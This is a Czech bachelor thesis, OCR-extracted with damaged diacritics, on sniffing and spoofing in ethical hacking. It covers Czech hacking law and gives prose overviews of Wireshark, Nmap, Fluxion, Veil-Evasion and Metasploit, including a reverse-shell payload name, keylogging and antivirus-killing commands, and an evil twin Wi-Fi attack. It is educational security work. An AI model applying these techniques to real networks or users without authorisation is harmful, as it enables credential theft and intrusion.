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Anotace

Tato bakalarska prace se zabyva problematikou sniffingu a spoofingu v etickém
hackingu. Cilem prace je analyzovat tyto techniky, studovat jejich principy a vyuziti
v praxi a zvazit etické aspekty souvisejici s jejich pouzivanim. Prace se zaméruje na
vysvétleni koncepti sniffingu a spoofingu, jejich rozdild, typl a nastrojl spojenych

s témito technikami.

V rdmci prace je podrobné popsana funkcionalita nastroji jako jsou Wireshark,
Nmap, Fluxion, Veil-Evasion a Metasploit, které jsou soucasti Kali Linuxu a umoznuji
provadéni analyzy sit€, skenovani zranitelnosti a vyuzivani zranitelnosti k testovani

a zabezpeceni systémi.

Diiraz je kladen na etické aspekty a legalni pouzivani téchto technik. Prace se zabyva
otazkou dodrzovani etickych smérnic, pravnich predpisi a povoleni vlastniki
systému pri provadéni etického hackingu. Jsou diskutovany pravni zdkony, které se

tykaji hackingu a kybernetické bezpeé¢nosti v Ceské republice.

Praktické priklady a demonstrace nastrojti jako je Reaver, Miranda a Metasploit jsou

poskytnuty pro lepsi pochopeni a pouziti téchto technik v redlnych scénarich.

Vysledky prace poskytuji uceleny prehled o sniffingu a spoofingu v etickém
hackingu a mohou slouZit jako zaklad pro dal$i vyzkum v oblasti zabezpeceni
pocitacovych systémil. Prace piinasi vhled do problematiky etického hackingu a
zdlraznuje dileZitost dodrZovani etickych zasad, pravnich predpisii a povoleni pri

pouzivani téchto technik.

Klicova slova: sniffing, spoofing, eticky hacking, Kali Linux, Wireshark, Nmap,

Fluxion, Veil-Evasion, Metasploit, pravni zakony, kyberneticka bezpectnost.



Annotation

This bachelor thesis deals with the issue of sniffing and spoofing in the context
of ethical hacking. The aim of the thesis is to analyse these techniques, study their
principles and practical applications, and consider the ethical aspects involved in
their use. The thesis focuses on explaining the concepts of sniffing and spoofing,

their differences, types and tools associated with these techniques.

The thesis details the functionality of tools such as Wireshark, Nmap, Fluxion, Veil-
Evasion and Metasploit, which are part of Kali Linux and allow network analysis,
vulnerability scanning and the exploitation of vulnerabilities to test and secure

systems.

Emphasis is placed on the ethical aspects and legal use of these techniques. The
thesis addresses the issue of adherence to ethical guidelines, legislation and
permissions of system owners when performing ethical hacking. The legal laws

concerning hacking and cybersecurity in the Czech Republic are discussed.

Practical examples and demonstrations of tools such as Reaver, Miranda and
Metasploit are provided to better understand the implementation and use of these

techniques in real scenarios.

The results of the paper provide a comprehensive overview of sniffing and spoofing
in ethical hacking and can serve as a basis for further research in the area of
computer systems security. The thesis provides insight into ethical hacking and
highlights the importance of adhering to ethical principles, regulations and

permissions when using these techniques.

Keywords: sniffing, spoofing, ethical hacking, Kali Linux, Wireshark, Nmap, Fluxion,

Veil-Evasion, Metasploit, legal laws, cybersecurity.



1 Uvod

Tato bakalarska prace je zamérena na problematiku sniffingu a spoofingu v ramci
etického hackingu. Téma etického hackingu se stava stale dlilezitéjSim v souvislosti
s rostoucim vyznamem kybernetické bezpecnosti a ochrany dat. Cilem mé prace je
prozkoumat moznosti, jak pomoci nastroji v prostredi Kali Linuxu provadét tyto

z

utoky, a zaroven upozornit na rizika, ktera s sebou tyto techniky prinaseji.

V prvni ¢asti prace se zaméfim na vysvétleni zakladnich pojmf, které se v této
problematice vyskytuji. Budu popisovat, co je to eticky hacking, jaké jsou zakladni
metody utokii a co znamenaji pojmy sniffing a spoofing. V dalsi ¢asti se budu vénovat
popisu konkrétnich nastrojli, které jsou v Kali Linuxu k dispozici pro provadéni
téchto utokl. Konkrétné se zaméirim na nastroje jako nmap, fluxion a aircrack-ng,

veil-evasion, které jsou nejcastéji pouzivané.

V zavéru prace budou shrnuty vysledky vyzkumu a zhodnotim, jaké jsou prinosy a
rizika, ktera s sebou tyto techniky prinaseji. Doufam, Ze tato prace prispéje k lepSimu
porozuméni této problematice a pomiiZe vytvorit bezpecnéjsi prostiedi v oblasti

kybernetické bezpecnosti a ochrany dat.



1.1 ReSerse

Sniffing a spoofing jsou dvé béZné techniky pouZzivané pri etickém hackingu. Sniffing
znamena zachytavani a shromazdovani dat proudicich v siti, zatimco spoofing
zahrnuje vydavani se za jiny subjekt za ucelem ziskani neopravnéného pristupu
nebo oklamani uzivateld. Obé techniky predstavuji vyznamné bezpecnostni hrozby
a jsou predmétem rozsahlého vyzkumu v oblasti informatiky a informacni
bezpecnosti.

Kybernetickych utokd pribyva a kyberneti¢ti zloc¢inci kazdym dnem vyvijeji stale
dlimyslnéjSi metody, jak naruSit bezpecnost svych cili. Sniffing je jednou z
nejdulezitéjSich technik, ktera uto¢nikovi umoziuje shromazdovat informace o
zranitelnostech zarizeni, protokoll a aplikaci, které Ize v cilové siti zneuZzit. Spociva
piedevsim v pasivni analyze provozu vyménovaného v siti a vzhledem k jeho povaze
je takovou c¢innost obtiZné odhalit. Tato prace se zabyva existujicimi technikami a
nastroji vyuzivanmi ke sniffingu, a také jak zmirnit dopad této metody. Na zakladé
téchto podkladl je navrhnuta nova metoda detekce zalozend na méteni, ktera
pomoci sondovani sitového provozu a technik strojového uceni odvodi, zda je na
podezielém pocitaci aktivni sniffovaci software. Prezentované experimentalni

vysledky dokazuji, Ze navrhované reSenti je ucinné.

Spoofingové Utoky mohou mit rizné formy, vCetné falSovani mobilnich stanic
Integrated System Digital Network (MSISDN), falSovani IP adres a falSovani DNS
(Park & You, 2022). Tyto utoky vyuZzivaji zranitelnosti sitovych protokol a systémi
k oklamani uzivatelli nebo k ziskani neopravnéného piistupu. Napriklad v siti 5G lze
faleSné zakladnové stanice pouzit k provadéni atok sniffing a spoofing (Park & You,
2022).

K reSeni bezpecnostnich hrozeb, které sniffing a spoofing predstavuje, vyzkumnici
navrhli rliznd protiopatieni. Jednim z pristupli je zavedeni bezpecnych metod
vymény tajnych klicli mezi hostitelskymi a hostovanymi operacnimi systémy ve
virtualizovanych systémech (Yadav et al., 2020). To zajiSt'uje, Ze data vymériovana

mezi systémy jsou Sifrovana a chranéna pred utoky sniffing nebo spoofing. Kromé



toho byly vyvinuty bezpectné a diivéryhodné modely pro zmirnéni rizik spojenych s
témito utoky (Yadav et al., 2020).

Vyzkumna komunita se také zameérila na vyvoj technik pro detekci a prevenci
spoofingovych utokl. Konference a védecké casopisy, jako je APSIPA Annual
Summit and Conference, ICASSP a INTERSPEECH, zaznamenaly narist vyzkumnych
praci o detekci spoofingu (Kamble et al,, 2020). Tyto dokumenty pojednavaji o

nedavném pokroku v detekci spoofingu a vyzvach s tim spojenych.

V kontextu ovérovani mluvéiho (nahravce mluvené reci) predstavuji spoofingové
utoky vyznamnou hrozbu. Predstirani identity, prehravani, syntéza reci a konverze
hlasu jsou nékteré z utoki spoofingu, které byly studovany. Pro detekci a zmirnéni
téchto utoki byla vyvinuta protiopatieni, ale je zapotrebi budouci vyzkum, ktery

zajisti adekvatni ochranu proti vyvijejicim se technikam spoofingu (Wu et al., 2015).

Zavérem lze rici, Ze sniffing a spoofing jsou kritickymi bezpe¢nostnimi hrozbami
pouzivané v etickém hackovani. Védci navrhli riiznd protiopatieni k odhaleni a
prevenci téchto utoki. Stale vSak existuje potreba dalsiho vyzkumu s cilem vyvinout
robustnéjsi a obecnéjsi protiopatieni na ochranu proti vyvijejicim se technikam
spoofingu. Pro usnadnéni vyvoje a testovani téchto protiopatfeni by mély byt

vytvoreny standardni soubory dat a vyhodnocovaci protokoly (Wu et al.,, 2015).

Metoda penetrac¢niho testovani WiFi zaloZend na systému Kali Linux, kterd je
rozdélena do Ctyr fazi: priprava, sbér informaci, simulace dtoku a hlaseni, pomaha
testovat zranitelnost sité. Pomoci metod monitorovani, skenovani, zachycovani,
analyzy dat, prolamovani hesel, podvrZeni faleSného bezdratového pristupového
bodu a dal$ich metod je v simulacnim prostredi zpracovano penetracni testovani
sité WiFi pomoci systému Kali Linux. Vysledky experimentt (Gregorczyk, M., 2020)
ukazuji, Ze metoda testovani priiniku do sité WiFi pomoci systému Kali Linux ma
dobry vliv na zlepSeni hodnoceni bezpecnosti sité WiFi.

Autofi Cisar, P., & Pinter, R. [3] se ve svém ¢lanku zabyvaji problematikou etického
hackingu a bezpecnosti pocitacovych systémil. Kdyz se hovoii o bezpecnosti

informac¢niho systému, mysli se tim tfi zdkladni atributy systému: divérnost,



integrita a dostupnost. Existuji rtizné postupy s cilem identifikovat existujici
bezpecnostni slabiny a posoudit bezpec¢nost. Jednim z nich je pouziti operacniho
systému Kali Linux s integrovanymi u¢innymi nastroji specialné prizptisobenymi
pro realizaci raznych typl utokl. Prispévek podava obecny piehled nékterych
nastroji systému Kali Linux. Nespornou vyhodou tohoto opera¢niho systému je
rozsahla sbirka riznych hackerskych nastroji ve formatu na jednom misté, coz
vyznamné usnadiiuje posuzovani zranitelnosti a testovani bezpecnosti.

Nariist pocitacové Kkriminality a uUtok na jizni americky plynovod kdy bylo
pozadované vykupné zdlrazinuji potrebu zabezpeceni naSich pocitacovych a
sitovych systémi. Jednou z bezpec¢nostnich metod, kterou pouZzivaji odbornici na
bezpecfnost informacnich systémi, je hackovani siti pomoci nastrojii penetra¢niho
testovani. V ¢lanku Tigner, M., Wimmer, H., & Rebman, C. M. (2021) [4], je
prezkoumano a analyzovano 18 rtznych nastroji pokryvajicich 6 riiznych oblasti.
Analyza je zakoncCena diskusi o tom, jak mohou podniky a bezpecnostni
profesionalové tyto nastroje vyuzivat, aby pomohli piredchazet utokim, udrzet

integritu kybernetického prostoru organizace a snizit naklady.



2 Eticky hacking

Hacking je pomérné Siroky obor, ktery zahrnuje riiznd témata a je soucasti
informacniho svéta jiz priblizné 50 let. Prvni znamy ptipad hackingu se objevil na
MIT.

Cilem hackingu je hledani potencialnich vstupnich bodi do pocitacového systému
nebo pocitacové sité a nasledné uspésné proniknuti do nich. Hacking se obvykle
provadi za ucelem ziskani neopravnéného pristupu do pocitacové sité nebo systému
s cilem poskodit sit nebo systém nebo ukrast citliva data uloZena v pocitaci.

V Cesku podléha hacking § 230 trestniho zakoniku a je trestnym ¢inem.

Pokud je hacking provadén za ucelem testovani zranitelnosti pocitacového nebo
sitového systému, je legadlni, dokud nedojde k zdsahu do pocitacové sité nebo
pocitace dalsi osoby, ktera o hackovani nebyla obezndmena anebo s nim nesouhlasi.
Hacker se obvykle snazi nejprve seznamit se s cilenym zarizenim a jeho fungovanim,
poté  vyuzit jeho slaba mista a  Skodit nebo krast data.
Eticky hacking se tedy provadi za ucelem analyzovani chyb ¢i nedostatkili v systému

a jejich naslednou eliminace.

2.1 Ceské zdkony a hacking

Pokud bychom méli mluvit o hackingu v Ceské republice, pravdépodobné by nas
nejvice zajimalo, jaky zakon zde existuje, aby se zabranilo neopravnénému pristupu
k pocitaCovym systémiim a sitovym zarizenim, a jaky trest mtze byt za takové Ciny
udélen.

V Ceské republice je trestny ¢in hackingu upraven zidkonem & 40/2009 Sb., tedy
trestnim zakonikem, konkrétné §230 a §231.

Tyto paragrafy rikaji, Ze neni dovoleno neopravnéné pristupovat k pocitacovému
systému, siti ¢i nosici informaci. Pokud tedy uZivateli neni pristup udélen spravcem
systému, nemél by se ani pokouSet o vniknuti. Zakony trestaji nejen poSkozeni
systému, ale i nakladani s informacemi, které by hacker pri utoku ziskal.

Zakony se zabyvaji také poskozenim z nedbalosti, tzn. postih mtize ¢ekat i toho, kdo

umozni vstup do systému/sité tieti strané. Pfikladem takového jednani muze byt,



kdyZ uZivatel necha pustény a odemknuty pocitac a odejde od néj a mezitim by se
k zarizeni dostala treti strana, ktera by neméla vidét informace na pocitaci.

Sniffing samotny pak dale upravuje paragraf §182, ktery rik3, Ze je zakazané porusit
tajemstvi dopravovanych zprav. I kdyZ tedy hacker pouze je neopravnéné pripojeny
na sit' a odchytava komunikaci, uZ tim pacha trestny ¢in a v ptipadé dopadeni je

moZzné jej podle téchto zakoni soudit/trestat.

2.2 Proc¢ resit zabezpeceni sité

Zabezpeceni sité ma chranit data kolujici mezi zarizenimi na této siti. Bezpecnost
sité by neméla byt pouze jednorazova, ale méla by se postupem casu updatovat.
Hrozby v pocitacové siti jsou v posledni dobé stale vétsi, a s tim stoupa i potieba
zabezpeceni. Hrozba pro sitovy systém zavisi na tom, jak je sit’ zranitelna, a tato
zranitelnost obvykle vznika v dlisledku jakéhokoli slabého mista, které se muze v
systému vyskytnout a které muliZze vytvorit mezeru pro pristup k siti a manipulovat
s ni nebo se systémy na této siti. BEZné zabezpeceni sité miliZe obstaravat antivirovy
program, silnd hesla, antispyware nebo taky firewall. VSe zminéné by mélo byt
pritomné na kazdé stanici v siti, aby se maximalizovalo zabezpeceni. Obecné plati,
Ze ¢im sloZitéjsi sit, tim vice bezpecnostnich chyb se zde nachazi. Nejvétsi riziko pro

sit zpasobuji nezkuseni a nepozorni uzivatelé.

2.3 Sniffing

Pomoci nastroji v Kali Linux je sniffing proces sledovani a zachycovani vSech paketti
proudicich urcitou siti. Jedna se o metodu "odposlouchavani telefonni linky" s cilem
zjistit podrobnosti konverzace. Zachytavat ze sité se daji rizné druhy informaci, jsou
tomu tfeba: emailova komunikace, FTP hesla, konfigurace routeru, webové prenosy.
Pokud je sada portli podnikovych prepinacli ponechina oteviena, muize jeden z
jejich zaméstnancli odposlouchavat provoz celé sité. Kdokoli, kdo se nachazi na
stejném fyzickém misté, se miize pomoci ethernetového kabelu ptipojit k siti nebo
pomoci bezdratového pripojenti ziskat pristup k siti a odposlouchavat vSechna data.
Jinymi slovy, sniffing umoziiuje sledovat chranény i nechranény provoz vseho

druhu. UtoCici strana miize za spravnych okolnosti a pri pouziti spravnych



protokolt ziskat informace, které lze vyuzit k dal$im utoklim, nebo zptisobit

vlastnikovi sité nebo systému jiné problémy.

2.3.1 Wireshark

NejrozsifenéjSim nastrojem pro "odposlouchavani” komunikace na siti je wireshark.
Wireshark zachycuje pakety kolujici v siti a v grafickém prostiedi je zobrazuje.
Umoziuje filtrovat dle pozadovanych kritérii. Specializuje se na kontrolu paketii
prichoziho i odchoziho provozu v sitovych protokolech. Program obsahuje radu
funkci pro analyzu riznych typt komunikace, naptiklad bezdratového provozu a
Sifrovacich technologii, jako jsou [PSec a WPA/WPA2. Wireshark se pouziva k
vyhledavani podezielych dat, diky moznosti zkoumani paketd v realném Ccase.
Plvodni nazev pro tento program je Ethereal, ten byl v roce 2006 zménén na
Wireshark. Umoziiuje uzivatellim zobrazit a prohliZet provoz, ktery je prenasen po
siti. Nastroj byl navrZen s radou funkci. Jednou z téchto funkci je moZnost sledovat
hovory pres internetovy protokol (VoIP) pomoci provozu, ktery Wireshark zachytil.
Dalsi funkci je podpora nastroje pro Zivé ¢teni dat a analyzu sité v riznych sitich.

Mezi klicové funkce Wiresharku patfi:

e Schopnost zachytavat a zobrazovat detailni informace o jednotlivych
sitovych paketech

e MozZnost filtrovat a hledat pakety podle riiznych kritérii, véetné zdrojové a
cilové IP adresy, portu, protokolu a dalSich parametrt

e Schopnost dekddovat razné protokoly, véetné TCP/IP, DNS, HTTP, FTP, SSH
a mnoha dalSich

e MoZnost vizualizovat a analyzovat sitovy provoz pomoci grafli a statistik
Wireshark lze pouzit pro riizné ukoly v oblasti sitového zabezpeceni, jako napiiklad:

e Identifikace bezpecnostnich hrozeb a anomalii v sitovém provozu

e 7Zjistovani a analyza sitovych tutokd, jako jsou DoS utoky, malware, phishing
a dalsi

e Monitorovani a diagnostika sitovych problémi a vykonnosti

e Testovani a ovérovani bezpecnostnich opatreni sité



e Wireshark je vysoce flexibilni a prizplsobitelny nastroj, ktery miize byt
pouzit pro mnoho riznych ukoli v oblasti sitového zabezpecCeni a

diagnostiky sité.

2.4 Spoofing

Pomoci falesné e-mailové adresy, jména, telefonniho ¢isla, textové zpravy nebo
adresy URL webové stranky miize podvodnik obéti namluvit, Ze komunikuje se
spolehlivym a zndmym zdrojem. Tato technika se nazyva spoofing. Pti spoofingu se
Casto méni jedno pismeno, Cislo nebo symbol, aby komunikace na prvni pohled
vypadala jako prava. Miizete naptiklad obdrzet e-mail z falesSné domény "ceska-

posta.com”, ktera se vydava za e-mail od spole¢nosti Ceska posta.

2.4.1 Jak funguje

Hacketri se pti spoofingu snazi ziskat divéru cile a spoléhaji na to, Ze presvédci cil o
tom, Ze prijimana komunikace je autentickd. Casto k presvédéeni cile, aby sdélil
informace, zminit zndmou/renomovanou znacku sta¢i napriklad faleSny e-mail,
ktery se vydava za e-mail od spolecnosti Amazon, se mlize zminit o problému s
nedavnym nakupem, coz cil priméje kliknout na odkaz, aby zjistil vice informaci.
Obét pak bude odeslana na faleSnou prihlasovaci stranku, kde nechténé zada své
uzivatelské jméno a heslo, nebo si z tohoto odkazu mize stdhnout malware.

Podvodné zpravy mohou mit mnoho rtznych podob, naptiklad podvrzeny e-mail,
podvrzZena textova zprava, podvrZzena identifikace volajiciho, podvrzena adresa URL
a podvrzena GPS. Spooferi se v podstaté snazi proniknout do jakéhokoli druhu

online komunikace s cilem ukrast data.

2.4.2 Typy spoofingu

EMAIL

Odesilani e-maild s fiktivnimi adresami odesilatelli se nazyva e-mailovy spoofing.
Tento postup se Casto pouziva jako soucast phishingovych utokd, jejichz cilem je
kradez osobnich udajii, vyzadani platby nebo infikovani pocitace Skodlivym

softwarem. Tuto strategii pouzivaji jak nepoctivi inzerenti, tak i podvodnici. Aby



obéti oklamali a presvédcili je, Ze e-mail pochazi od jejich banky nebo jiného
divéryhodného zdroje, odesilaji podvodnici e-maily s podvrzenym adkem "0d:".
SMS

PodvrZené textové zpravy (SMS), ¢asto zndmé jako smishing, jsou srovnatelné s
faleSnymi e-maily. Odesilatel textové zpravy se tvari jako dlivéryhodna instituce,
napriiklad banka, aby utocnik naldkal na sdéleni osobnich udajii, mize pozadat, aby
cil kontaktoval urcité ¢islo nebo klikl na odkaz ve zpraveé.

URL

Utoc¢nici vytvori faleSnou webovou stranku, aby od obéti shromazd'ovali idaje nebo
do jejich pocitaci stahovali malware. Obéti mohou byt napriklad vyzvany, aby se
prihlasily pomoci svého uzivatelského jména a hesla poté, co jsou presmérovany na
webovou stranku, ktera se tvari jako stranka jejich banky nebo firmy vydavajici
kreditni karty. Pokud obét naleti a prihlasi se, mliZe podvodnik zadané tidaje pouzit
k prihlaseni na ptivodni webové stranky a ziskat pristup k jejim uctim.

GPS

Cil GPS spoofingu je zcela jiny. Vysilanim faleSnych signalti GPS nebo pouzitim jinych
technik se snazi oklamat prijimac GPS, aby si myslel, Ze se nachazi na jiném misté
nebo cestuje jinym smérem. Ackoli existuje technologie, ktera miiZe ucinit kohokoli
nebo hraci (naptiklad hraci Pokémon GO), nez Ze by se zaméroval na uzivatele ¢i
pocitacové sité.

Man-in-the-middle

Obét, strana, se kterou se obét pokousi navazat kontakt, a "muZz uprostied”, ktery
konverzaci zachyti, jsou tfi strany zapojené do téchto spoofingovych utokt. Spoofer
se snazi odposlouchavat konverzaci nebo predstira, Ze je jednou ze stran. Cilem je
zachytit citlivé, dilezité nebo potencialné vynosné informace (napft. prihlasovaci
udaje a informace o kreditnich kartach). Ukradené uidaje mohou byt prodany treti
strané, pouzity ke kradeZi identity nebo ke schvaleni finan¢nich transakci.

IP Spoofing

K tomuto druhu podvodu dochazi, kdyz je pivodni adresa internetového protokolu
(IP) zménéna na faleSnou s cilem utajit nebo zamaskovat misto, odkud jsou data

odesilana nebo vyzadovana. Plivodni IP adresa je zfalSovana tak, aby se zdalo, Ze



pochazi ze spolehlivého zdroje, ale ve skute¢nosti za ni stoji neidentifikovana treti
strana.

Uzivatelé mohou svou IP adresu a polohu skryt pomoci sluzeb virtualni privatni sité
(VPN), coZ je prijatelné i z dlivodli ochrany soukromi nebo pfi cestach do zahranici.
Obecné plati, Ze jako spoofing urok miliZe byt oznacovano veskeré chovani, kde se
jedna strana (Utoc¢nik/hacker) snaZi podvrhnout néjaky prvek jako zndmy, a tim

“nachytat” obét, aby se dostala k potiebnym datlim nebo provedla ttok.



3 Kali Linux

Kali Linux 1.0 byl vydan v roce 2013. Za vytvoreni stoji spolecnost Offensive
Security. Kali Linux je distribuce zaloZzend na na Deabian Linux. Je nastupcem
BackTrack ILnux. Je urcen pro testovani bezpecnosti sité, zarizeni a jejich dat.
V Kali je nékolik set nastroji, které jsou urceny pro nejriznéjsi ukoly v oblasti
zabezpeceni informaci. Kali Linux vyuzivaji jak bezpecfnostni profesionalové, tak
hacketi (v pfipadé této prace piijde pouze o testovani bezpecnosti v kontrolovaném
prostiedi). Odbornici na pocitaCovou bezpecnost, ktefi pomahaji pri identifikaci
zranitelnosti sité. Vzhledem k tomu, Ze Kali Linux je pouze distribuce Linuxu, je pred
jeho pouZitim pro skenovani a penetrac¢ni testovani nutné znat fungovani
operacniho systému a pouzivat vhodné nastroje.

Nastroje v Kali jsou propojeny i s dalSimi linuxovymi distribucemi. Vyhodou Kali je,
Zze jakmile je operacni systém nainstalovan, je k dispozici Siroky vybér
bezpectnostnich nastrojli. Pro provadéni penetracnich testli poskytuje Kali Linux
Ffadu nastroji, které pomadhaji profesiondlim mapovat tii rtizné kategorie
zranitelnosti: zranitelnosti navrhu, zranitelnosti implementace a zranitelnosti
provozu. Chyby ve specifikacich softwaru lze vyuZzit k identifikaci slabych mist
navrhu. Chyby v softwaru se radi do kategorie implementacnich zranitelnosti,

zatimco chybna konfigurace softwaru vede k provoznim zranitelnostem.

Kali Linux je specializovana linuxova distribuce navrZena pro penetracni testovani
a etické hackingové ucely. Kali Linux obsahuje vice neZ 600 predinstalovanych
nastrojli pro penetracni testovani, forenzni analyzu a bezpecnostni hodnoceni.
Distribuce byla vytvorena jako nastroj pro testovani a zlepSovani zabezpeceni sité a
pocitacovych systému.

Distribuce Kali Linux je zdarma a open-source, cozZ umoznuje uzivatelim volné
pouzivat, upravovat a Sirit software.

Kali Linux je vybaven mnoha funkcemi, které usnadnuiji eticky hacking a penetracni

testovani, jako jsou:

e Predinstalované nastroje pro utoky na rtizné operacni systémy, sitové sluzby

a protokoly



e Podpora pro riizné typy utokt, jako jsou zranitelnost skenovani, atoky typu
DoS a DDoS, bruteforce utoky a dalsi

e Moznost instalace dalSich nastroji a balickd pomoci balickovaciho systému.

e Podpora pro virtualizaci a kontejnerizaci, coz umoznuje uzivatelim testovat
riizné konfigurace a scénare v izolovaném prostiedi

e MozZnost vytvareni vlastnich nastrojt a skriptli pro automatizaci ukolt

Kali Linux se také pravidelné aktualizuje, aby zahrnoval nejnovéjsi nastroje a
bezpecnostni opravy. To umoZiiuje uzivatelim drZet krok s nejnovéjSimi trendy v

oblasti penetra¢niho testovani a zabezpeceni sité.

3.1 Virtualni prostredi

V bakalarské praci bude pouzito virtualni prostiedi VMware Workstation, které
poskytuje snadno ovladatelné ndstroje pro virtualizaci operacnich systémi.
VMware Workstation umoziiuje vytvareni, spravu a spousténi virtualnich stroja
(VMs) na jednom fyzickém pocitaci. Timto zplisobem lze izolovat a simulovat rizné
operacni systémy, coz je idedlni pro provadéni riznych experimentt, testovani
softwaru nebo provadéni bezpecnostnich analyz.

Pro praci byla vybrana oficialni verze Kali Linuxu, kterou lze snadno stdhnout z
oficidlnich stranek Kali Linuxu. Dilezité je zajistit, Ze stazeny obraz Kali Linuxu je
ovéiren a nebyl upraven, aby se minimalizovala pravdépodobnost Skodlivého
obsahu. Zvolena verze Kali Linuxu byla nainstalovana jako virtualni stroj ve VMware
Workstation.

Pouziti virtudlniho prostredi VMware Workstation v kombinaci s Kali Linuxem
poskytuje bezpetné a izolované prostfedi pro provadéni etického hackingu a

bezpecnostnich analyz.

3.2 Konfigurace Kali

Pro testovani se samotny Kali linux musi nastavit tak, aby jej bylo mozné pripojit do

sité. Kontrola nastaveni sité se provede prikazem v terminalu “ifconfig”.
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Prikaz pak zobrazi nasledujici informace:

Nazev rozhrani: Nazev rozhrani je nazev, ktery se pouZziva pro identifikaci rozhrani.
V tomto pripadé "eth0" pro ethernetové pripojeni k siti.

[P adresa: IP adresa je jedinec¢ny identifikator pridéleny kazdému zarizeni v siti.
Miize byt bud’ IPv4 nebo IPv6.

Maskovaci sit: Maskovaci sit urcuje rozsah IP adres, které jsou dostupné v dané siti.
Pomoci maskovaci sité mizete urcit, zda jsou dvé zarizeni v siti dostupna mezi
sebou. Broadcast adress: Broadcastova adresa je adresa, ktera slouzi k doruceni
zpravy vSem zarizenim v siti. Pokud je poslana zprava na broadcastovou adresu,
vSechna zarizeni v siti ji obdrZi. MAC adresa: MAC adresa je fyzicka adresa pridélena
sitovému adaptéru. Kazdy sitovy adaptér ma jedinecnou MAC adresu. MTU:
(Maximum Transmission Unit) je maximalni velikost datového paketu, ktery muze
byt prenesen po siti. Stav rozhrani: Stav rozhrani zobrazuje, zda je rozhrani zapnuté
nebo vypnuté a zda jsou vysilani a piijmy dat povoleny. Takto nastavena sit’' bude
pouzita dale v praci pri testovani jednotlivych piipadt.

Pro ucely této prace byl vytvoren virtualni pocitac, na ktery byl nainstalovan OS Kali

Linux.



3.3 Nmap

Network mapper (Nmap), jak uz nazev napovida, je skupina nastrojii umozujici
provadét skenovani sité. Provadéni bezpecnostnich skent s cilem zjistit, zda jsou v
systému nebo siti aktivni sluzby nebo porty. V opera¢nim systému Kali Linux je jiz

Nmap predinstalovany.

Nmap nejprve odesle ICMP ping9 a zahdji skenovani portd. Pokud je pritomen
firewall, ping ICMP selZe a Nmap v diisledku toho ohlasi "hostitel je mimo provoz".
Pokud je ping uspésny, skenovani porti mliZe zacit. Vychozi sluzby béZici na portu
se odhali provedenim skenovani vychoziho portu. Pti pouziti prikazu nmap -v [IP-
Address] se Nmap dotadZe na presnou sluzbu, kterd je aktivni na kaZzdém

skenovaném portu.

3.4 Fluxion

Jak jiz bylo receno, tak uzivatelé jsou nejslabsSim clankem kazdé sité. Fluxion je
nastroj, ktery kombinujete technickou a socialni oblast problematiky. Fluxion je pro
svou funkci zavisly na rznych bali¢cich, jako jsou aircrack-ng, map, bc, dhcpdetc.
Tyto balicky se automaticky instaluji pri prvnim spusténi Fluxionu. Skenovanim
prostredi miize Fluxion pouzit proces handshake k ziskdni hashd Sifrovani
WPA/WPA2. To nastroji pomtze vytvorit novou sit Wi-Fi se stejnym ndzvem, jako
ma cil. Fluxion mohou hackeri vyuzit k oklamani nezkusenych uzivatelii prozrazeni
jejich hesla do sité. Tento nastroj vyuZziva k ovladani chovani prihlasovaci stranky a
celého skriptu handshake WPA. Fluxion lze pouZit k zachyceni WPA hesla a jeho
hlavni vyhodou je, Ze k prolomeni nepouZiva Zadny seznam slov ani utok na klice,

uzivatel je jednoduse podveden, aby jej zadal.

3.5 Veil-Evasion

Veil-Evasion je nastroj napsany v jazyce python, ktery generuje spustitelny soubor
(malware) ktery je schopen obejit antivirovy program. Veil-Evasion funguje tak, Ze
provadi rtzné techniky maskovani a zmén kédu malwaru, aby se vyhnul detekci
antivirovymi programy. Pouziva techniky jako je komprese, Sifrovani, vkladani do

legitimnich soubort a dal$i metody, které ztéZuji detekci a analyzu malwaru. Timto



zpisobem miize byt vytvoren malware, ktery prochazi béznymi bezpecnostnimi
opatfenimi a detek¢nimi systémy. Veil-Evasion poskytuje uzivatelim rozhrani
prikazového radku, které umoznuje generovat riizné typy malware, jako jsou trojské
koné, backdoory a dalsi skodlivy koéd. UZivatelé mohou konfigurovat riizné
parametry a volby, aby dosahli poZzadovaného vystupu. Nastroj poskytuje také
moZznosti testovani malware na béznych antivirovych skenerech, aby se ovérilo, zda

byl Uspésné skryt pred detekci.

3.6 Miranda

Miranda je aplikace urcend k vyhledavani a zasahovani do tzv. UPnP zejména
smérovace. Miranda je zaloZena na jazyku Python a nékteré z jejich UPnP maji
schopnost aktivné i pasivné zjiStovat zarizeni UPnP a zaroven také zjiStovat typy
zarizeni UPnP, akce, sluzby, proménné a provadét jednoduchy vycet pomoci
jediného prikazu. Rovnéz koreluje proménné stavu sluzeb s jejich akcemi a jsou
identifikovany jako vstupni nebo vystupni proménné. Miranda ma také moZnost
ukladat vSechna data do jediné datové struktury, aby bylo moZné zobrazit cely jeji
obsah.

3.7 Metasploit

Metasploit je nejuznavanéjSim frameworkem pro zneuzivani zranitelnosti v oblasti
kybernetické bezpecnosti. PouZivaji ho jak zacatectnici, tak bezpeclnostni
profesionalové a je nejlepsi volbou pro hackovani existujicich systémd, siti,
operacnich systémii nebo aplikaci. Framework Metasploit je opensource projekt, a
proto jeho tvirci udrzuji databazi se vSemi nalezenymi zranitelnostmi a moZnymi
utoky. Metasploit lze pouzit k vyhledavani zranitelnosti v systému. Metasploit je
dodavan S knihovnou »payloadi”, nejbéznéjsi z nich je
windows/meterpreter/reverse tcp. V systému Meterpreter je nékolik
dilezitych prikazi, napf. checkvm, get countermeasure, killav,
keylogrecorder a shell. Tyto prikazy mohou shromazd'ovat citlivé informace o
systému nebo provadét Skodlivé ulohy, jako je deaktivace antiviru nebo zaznam
zadavani na Kklavesnici. Metasploit kombinuje praktiky klasického hackovani a

dostavani se do systému silou se znalostmi sociadlniho inZenyrstvi, ma tedy také



spoustu moznosti, jak zmast ¢i oklamat uZivatele tak, aby sam vyzradil vSechny

dtlezité informace pro prevzeti kontroly nad systémem.



4 Typy utoki

4.1 ,,Evil twin attack“

Cilem tohoto utoku je vytvorit pristupovy bod wifi, ktery bude vypadat natolik
vérohodné, aby se k nému uZzivatel pripojil. Jakmile se tak stane, uloZi se prihlaSovaci
udaje k této siti a uzivatel bude presmérovan na skutecnou wifi.

V Kali Linux je mozZné utok provést treba pres nastroj nazyvany ,Fluxion®“. Pokud je
utok provadén na konkrétni subjekt, je potfeba nejdiiv néjakym jinym nastrojem
zjistit, jak se sit nazyva, poté vytvorit ptistupovy bod, ktery se bude nazyvat

obdobné a cekat, zda se uZzivatel pripoji.

Ukazka prostredi:

* Vyberte typ Gtoku na pristupovy bod

tupovy bod "Evil Twin".
ifrovaci hash WPA/WPA2.

,»Brute force*

